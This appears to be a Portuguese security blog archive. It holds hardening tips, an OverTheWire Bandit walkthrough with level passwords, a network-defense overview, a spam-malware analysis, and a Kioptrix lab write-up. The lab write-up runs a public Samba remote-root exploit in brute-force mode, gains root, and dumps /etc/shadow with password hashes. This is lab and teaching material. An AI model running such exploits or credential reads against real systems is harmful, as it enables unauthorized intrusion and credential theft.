segunda-feira, 28 de novembro de 2016

10 Medidas para um ambiente mais seguro


A ideia deste artigo é demonstrar de forma simples e direta como deixar um ambiente computacional mais seguro.
Abaixo listamos 10 medidas que vão diminuir as vulnerabilidades em geral em qualquer ambiente

  • Reduza usuários, grupos e permissões
  • Aplique todos os patches de segurança pendentes (há muitos)
  • Configure firewalls, roteadores e switches, de forma que somente utilizem protocolos e portas para a finalidade da comunicação.
  • Utilize soluções antimalware atualizadas.
  • Tenha um WAF (Web Application Firewall) para seus servidores web.
  • Utilize sistemas de detecção de intrusos nas redes e nos servidores.
  • Conduza scans de vulnerabilidades para conhecer as brechas dentro do ambiente.
  • Dê preferência para protocolos criptografados.
  • Desinstale softwares, drivers, protocolos e compiladores que não são necessários para o funcionamento do ambiente.
  • Registre a atividade do ambiente através de servidores de logs.
 
Com essas dicas a superfície de ataque do ambiente será reduzida de forma aceitável.

No próximo artigo vamos dar dicas (técnicas) de como implantar estas 10 medidas.

quinta-feira, 5 de fevereiro de 2015

OvertheWire - Bandit - Parte 1


O objetivo deste artigo é demonstrar passo a passo o que tem que ser feito no game.

No segunda parte do artifgo estarei explicando um a um e como chegar na logico, lembrando que a importância do MANno linux para este tipo de Game é fundamental.

O foco deste é aprofundar os conhecimentos em Bash.

Level 0

ssh -p 22 -l bandit0 bandit.labs.overthewire.org

bandit0@melinda:~$ ls
readme
bandit0@melinda:~$ cat readme 
boJ9jbbUNNfktd78OOpsqOltutMc3MY1


Level 0 ==> 1 

ssh -p 22 -l bandit1 bandit.labs.overthewire.org

Level 1 ==> 2

bandit1@melinda:~$ ls -las
total 24
4 -rw-r-----   1 bandit2 bandit1   33 Jun  6  2013 -
4 drwxr-xr-x   2 root    root    4096 Jun  6  2013 .
4 drwxr-xr-x 160 root    root    4096 Oct 17 09:23 ..
4 -rw-r--r--   1 root    root     220 Apr  3  2012 .bash_logout
4 -rw-r--r--   1 root    root    3486 Apr  3  2012 .bashrc
4 -rw-r--r--   1 root    root     675 Apr  3  2012 .profile
bandit1@melinda:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit1@melinda:~$


Level 2 ==> 3

bandit2@melinda:~$ ls -las
total 24
4 drwxr-xr-x   2 root    root    4096 Jun  6  2013 .
4 drwxr-xr-x 160 root    root    4096 Oct 17 09:23 ..
4 -rw-r--r--   1 root    root     220 Apr  3  2012 .bash_logout
4 -rw-r--r--   1 root    root    3486 Apr  3  2012 .bashrc
4 -rw-r--r--   1 root    root     675 Apr  3  2012 .profile
4 -rw-r-----   1 bandit3 bandit2   33 Jun  6  2013 spaces in this filename
bandit2@melinda:~$ cat spaces\ in\ this\ filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK


Level 3 ==> 4


bandit3@melinda:~$ ls -lsas
total 24
4 drwxr-xr-x   3 root root 4096 Jun  6  2013 .
4 drwxr-xr-x 160 root root 4096 Oct 17 09:23 ..
4 -rw-r--r--   1 root root  220 Apr  3  2012 .bash_logout
4 -rw-r--r--   1 root root 3486 Apr  3  2012 .bashrc
4 -rw-r--r--   1 root root  675 Apr  3  2012 .profile
4 drwxr-xr-x   2 root root 4096 Jun  6  2013 inhere
bandit3@melinda:~$ cd inhere/
bandit3@melinda:~/inhere$ ls -las
total 12
4 drwxr-xr-x 2 root    root    4096 Jun  6  2013 .
4 drwxr-xr-x 3 root    root    4096 Jun  6  2013 ..
4 -rw-r----- 1 bandit4 bandit3   33 Jun  6  2013 .hidden
bandit3@melinda:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB


Level 4 ==> 5

bandit4@melinda:~/inhere$ ls -h 
-file00  -file01  -file02  -file03  -file04  -file05  -file06  -file07  -file08  -file09
bandit4@melinda:~/inhere$ for f in ./*; do cat $f; done;
?S?U??1?&?????ɦ?7??n?|???/?$?Q?J
??NO2???s??=\?1?OF???
4?<?o?l?????՚?~{b?W?$?s<??~(????Å?8??b
                                      dhz??c?
                                             g7?!?x?Ӈ???Eo[??B?
                                                               ??&6]U?w޽RZ!N?o?h??)??'߳e?l??-p#?s???~?$???????<??Dj?N#C????0?|???T????G?@???koReBOKuIDDepwhWk7jZC0RTdopnAYKh
????dC?g?b?.<??"Q 2B????{????3S?~і?????|?M?^߮?-%ƌ
????"^??kUbandit4@melinda:~/inhere$ 


Level 5 ==> 6 

bandit5@melinda:~$ ls -las
total 24
4 drwxr-xr-x   3 root root    4096 Jun  6  2013 .
4 drwxr-xr-x 160 root root    4096 Oct 17 09:23 ..
4 -rw-r--r--   1 root root     220 Apr  3  2012 .bash_logout
4 -rw-r--r--   1 root root    3486 Apr  3  2012 .bashrc
4 -rw-r--r--   1 root root     675 Apr  3  2012 .profile
4 drwxr-x---  22 root bandit5 4096 Jun  6  2013 inhere
bandit5@melinda:~$ cd inhere/
bandit5@melinda:~/inhere$ find -readable -size 1033c ! -executable
./maybehere07/.file2
bandit5@melinda:~/inhere$ cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7


Level 6 ==> 7

bandit6@melinda:~$ find / -size 33c -group bandit6 -user bandit7
find: `/var/www/natas/natas8': Permission denied
find: `/var/www/natas/natas2': Permission denied
find: `/var/lib/cron-apt/_-_etc_-_cron-apt_-_config': Permission denied
find: `/var/lib/sudo': Permission denied
find: `/var/lib/php5': Permission denied
find: `/var/lib/mysql': Permission denied
/var/lib/dpkg/info/bandit7.password
find: `/lost+found': Permission denied
find: `/run/shm': Permission denied

bandit6@melinda:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs


Level 7 ==> 8

bandit7@melinda:~$ ls -las
total 4112
   4 drwxr-xr-x   2 root    root       4096 Jun  6  2013 .
   4 drwxr-xr-x 160 root    root       4096 Oct 17 09:23 ..
   4 -rw-r--r--   1 root    root        220 Apr  3  2012 .bash_logout
   4 -rw-r--r--   1 root    root       3486 Apr  3  2012 .bashrc
   4 -rw-r--r--   1 root    root        675 Apr  3  2012 .profile
4092 -rw-r-----   1 bandit8 bandit7 4184396 Jun  6  2013 data.txt
bandit7@melinda:~$ cat data.txt |grep "millionth"
millionth    cvX2JJa4CFALtqS87jk27qwqGhBM9plV


domingo, 26 de agosto de 2012

Redes Seguras

Neste artigo vamos abordar meios de manter uma rede de computadores mais segura.
Listaremos alguns mecanismos com uma breve descrição de como estes podem manter sua rede mais segura.


Network Firewall


Um firewall de rede controla todo o tráfego que entra e sai da rede. Ao menos é para isto que um firewall neste nível foi desenhado.
Com o conhecimento necessário sobre a rede é possível bloquear todos as portas e endereçamentos desnecessários.
Usando o firewall corretamente para controlar a rede é possível bloquear tentativas de acesso não autorizado na rede interna e ataques originados de fora da rede, além de mitigar uma série de ataques que serão discutidos em um outro post.


Host Firewall

O firewall de host é importante pois controla o tráfego originado da máquina.
A partir do Windows Vista o firewall de host da Microsoft ganhou recursos avançados que se configurados de maneira correta podem limitar todo o tráfego desnecessário que entra e saí do host.
Em qualquer distribuição GNU/Linux o Netfilter vem nativo no Kernel e através do Iptables é possível controlar praticamente todo bit que entra e sai do host no nível de rede.

Network-based IDS

Uma das melhores maneiras de se conhecer o que realmente se passa por uma rede é  usando um NIDS.
Um NIDS, além de identificar o tráfego que passa pela rede, também é capaz de identificar atividades de malwares através de assinaturas.
É possível identificar facilmente as origens, destinos e procolos que estão ativos na rede. A partir da visibilidade que o NIDS oferece fica mais fácil controlar o tráfego através do firewall.

Host-based IDS

Assim como um firewall de host um HIDS consegue identificar toda atividade gerada no host.
Uma característica muito importante que um HIDS possui é a de conseguir identificar um tráfego antes que este seja criptografado e também depois que é descriptografado.
Um HIDS também pode identificar alteração nos arquivos de sistema e qualquer atividade de login no host.

Log-based IDS

O LIDS é utilizado para verificar logs de serviços que estão na rede.
Com a coleta do log dos diversos serviços na rede é possível identificar se há alguma tentativa de acesso indevida, violação de políticas, ações anormais e outros diversos detalhes.

Update Manager

Os mecanismos mencionados ajudam a reduzir os riscos em uma rede, porém, quando existem vulnerabilidades nos softwares responsáveis pelos serviços que precisam funcionar existem poucas medidas efetivas a se tomar, a principal medida é a atualização do software vulnerável.
Para GNU/Linux e Windows existem bons gerenciadores de atualizações que podem facilitar a atualização em um grande número de host.

Conclusão

Estas foram algumas de nossas recomendações para melhorar a segurança de uma rede de computadores.
Em posts futuros vamos demonstrar como os mecanismos acima podem reduzir o número de ataques conhecidos à redes de computadores.

sábado, 23 de junho de 2012

KIOPTRIX SAMBA EXPLOITATION

Neste artigo, estaremos fazendo um laboratório de Pentest, com uma distro própria para isso, chamada KIOPTRIX.

Maiores informações e Download você pode estar acessando diretamente o site.

http://www.kioptrix.com/blog/

Neste artigo vamos estar utilizando o Kioptrix Level 1, onde o principal objetivo é ganhar o acesso root.

Os testes vou utilizar uma máquina Virtual com Backtrack 5 R2.

Quando subimos a ISO do Kioptrix, ela já está configurada para buscar diretamente o ip por dhcp.

Precisamos identificar qual o ip que a mesma está utilizando.

Para isso vamos efetuar os seguintes testes:

1-) Discovery
root@bt:~# nmap -f -n -P0 -v -p- -T4 192.168.0.0/24
Nmap scan report for 192.168.0.104
Host is up (0.00084s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
1024/tcp  open  kdm
45295/tcp open  unknown
MAC Address: 30:14:4A:12:1D:E2 (Wistron Neweb)

root@bt:~# nmap -n -sTUV -pT:22,80,11,139,443,32768,U:111,137,32768 192.168.0.104

Starting Nmap 6.00 ( http://nmap.org ) at 2012-06-23 23:51 BRT
Nmap scan report for 192.168.0.104
Host is up (0.0038s latency).
PORT      STATE  SERVICE              VERSION
11/tcp    closed systat
22/tcp    open   ssh                  OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open   http                 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
139/tcp   open   netbios-ssn          Samba smbd (workgroup: MYGROUP)
443/tcp   open   ssl/http             Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp closed filenet-tms
111/udp   open   rpcbind (rpcbind V2) 2 (rpc #100000)
137/udp   open   netbios-ns           Microsoft Windows XP netbios-ssn
32768/udp closed omad
MAC Address: 30:14:4A:12:1D:E2 (Wistron Neweb)
Service Info: Host: KIOPTRIX; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.30 seconds

2-) Banner com SMBCLIENT como anonymous.

root@bt:~# smbclient -L 192.168.0.104 -N
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

    Sharename       Type      Comment
    ---------                 ----         -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error ERRnosupport

    IPC$           IPC       IPC Service (Samba Server)
    ADMIN$     Disk      IPC Service (Samba Server)

Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

    Server               Comment
    ---------                     -------
    KIOPTRIX             Samba Server

    Workgroup           Master
    ---------                     -------
    MYGROUP              KIOPTRIX
    WORKGROUP         THIAGO-PC

Note que a versão utilizada pelo SAMBA é a versão 2.2.1a.

Vamos procurar um exploit para esta versão, utilizando o recurso de exploit-db no próprio backtrack.

root@bt:/pentest/exploits/exploitdb# ./searchsploit samba
 Description                                                                 Path
--------------------------------------------------------------------------- -------------------------
Samba 2.2.x Remote Root Buffer Overflow Exploit                             /linux/remote/7.pl
Samba 2.2.8 Remote Root Exploit - sambal.c                                  /linux/remote/10.c
Samba 2.2.8 (Bruteforce Method) Remote Root Exploit                         /linux/remote/55.c
MS Windows XP/2003 Samba Share Resource Exhaustion Exploit                  /windows/dos/148.sh
Samba <= 3.0.4 SWAT Authorization Buffer Overflow Exploit                   /linux/remote/364.pl
Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit               /windows/dos/2934.php
GoSamba 1.0.1 (include_path) Multiple RFI Vulnerabilities                   /php/webapps/4575.txt
Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC                    /linux/dos/4732.c
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC          /multiple/dos/5712.pl
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC          /multiple/dos/5712.pl
Samba < 3.0.20 Remote Heap Overflow Exploit (oldie but goodie)              /linux/remote/7701.txt
Samba 2.2.0 - 2.2.8 trans2open Overflow (OS X)                              /osX/remote/9924.rb

Para este vamos estar utilizando o exploit 10.c, onde vamos compilar e alterar as saídas de rro que retornar.

Obs* Os erros na compilação são propositais, paradificultar os scripts kidies, onde se faz necessário aprender com os erros retornados e entender a funcionalidade do código.

Copiaremos este exploit para um diretório e vamos executar o mesmo:

root@bt:~# cp /pentest/exploits/exploitdb/platforms/linux/remote/10.c /root/10.c

Vamos compilar:

root@bt:~# gcc 10.c -o sambavul10

Dica: Para a correção dos erros retornados com o comando gcc, é necessário a identação correta do código.

Vamos executar o exploit:

root@bt:~# ./sambavul10 -v -d -0 -S 192.168.0.104
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Scan mode.
+ Verbose mode.
+ [192.168.0.104] Samba

Faça um ctrl + c para parar o Scan.

Agora vamos executar com o parametro -b para efetuar um bruteforce e ganhar o acesso atravé do serviço do SAMBA:

root@bt:~# ./sambavul10 -b 0 -v 192.168.0.104
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

Veja a saída comando já identificando o hostna e o parametro id onde já informa as credenciais de root.

Agora vamos verificar o arquivo shadow:

root@bt:~# ./sambavul10 -b 0 -v 192.168.0.104
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
cd /etc ; cat shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::

Neste artigo a idéia foi mostrar os passos para completar o desafio de Level 1, onde é necessário ganhar o shell como root : )





sábado, 9 de junho de 2012

ANÁLISE EMAIL SPAM

Neste artigo vou analisar um e-mail de SPAM recebido pela empresa que trabalho, com assunto de alerta de um vencimento de boleto.

Quero mostrar a importância de "ler antes de abrir".

Com a leitura viria os questionamentos, por exemplo, como um e-mail de cobrança me leva para um servidor de Download com origem Russa?

No cenário que iremos abordar seria a técnica mais comum de e-mails auto intitulado com um assunto de interesse ou alerta.

Segue um exemplo de email:




Vamos começar com uma análise do cabeçalho da mensagem.

A primeira análise é validar a quem o domínio pertence.

Vamos utilizar o Whois para a query:



Com resultado obtido para o domínio oazis21.ru, podemos observar no campo PERSON, a identificação encontra-se restrita, ou seja não conseguimos rastrear o nome da pessoa detentora do domínio.

Vamos mais a fundo com a análise.

Executando uma Máquina Virtual com Windows XP SP2, com um software Sandbox, vamos efetuar o download e analisar o arquivo com um editor Hexdecimal.


Com este resultado já podemos analisar quais DLL'S serão afetadas com a execução deste suposto Boleto.

Veja abaixo as informações e parametros para uso do programa executado:



Reorganizando o conteúdo, podemos ver o seguinte:

Instruções:
1-) ABORT
2-) ALL
3-) CANCEL
4-) CLOSE
5-) HELP
6-) IGNORE
7-) NO
8-) OK
9-) RETRY
10-) YES
11-) PREVIEW
12-) TEMPLATE
13-) PACKAGE INFO
14-) LOLITA MAINICOM

Ao executá-lo, o mesmo executa um cmd.exe em background, deixando um backdoor na porta 33333, permitindo uma conexão do atacante direto na máquina infectada, também repassa informações da máquina como usuário e senha, permitindo total controle.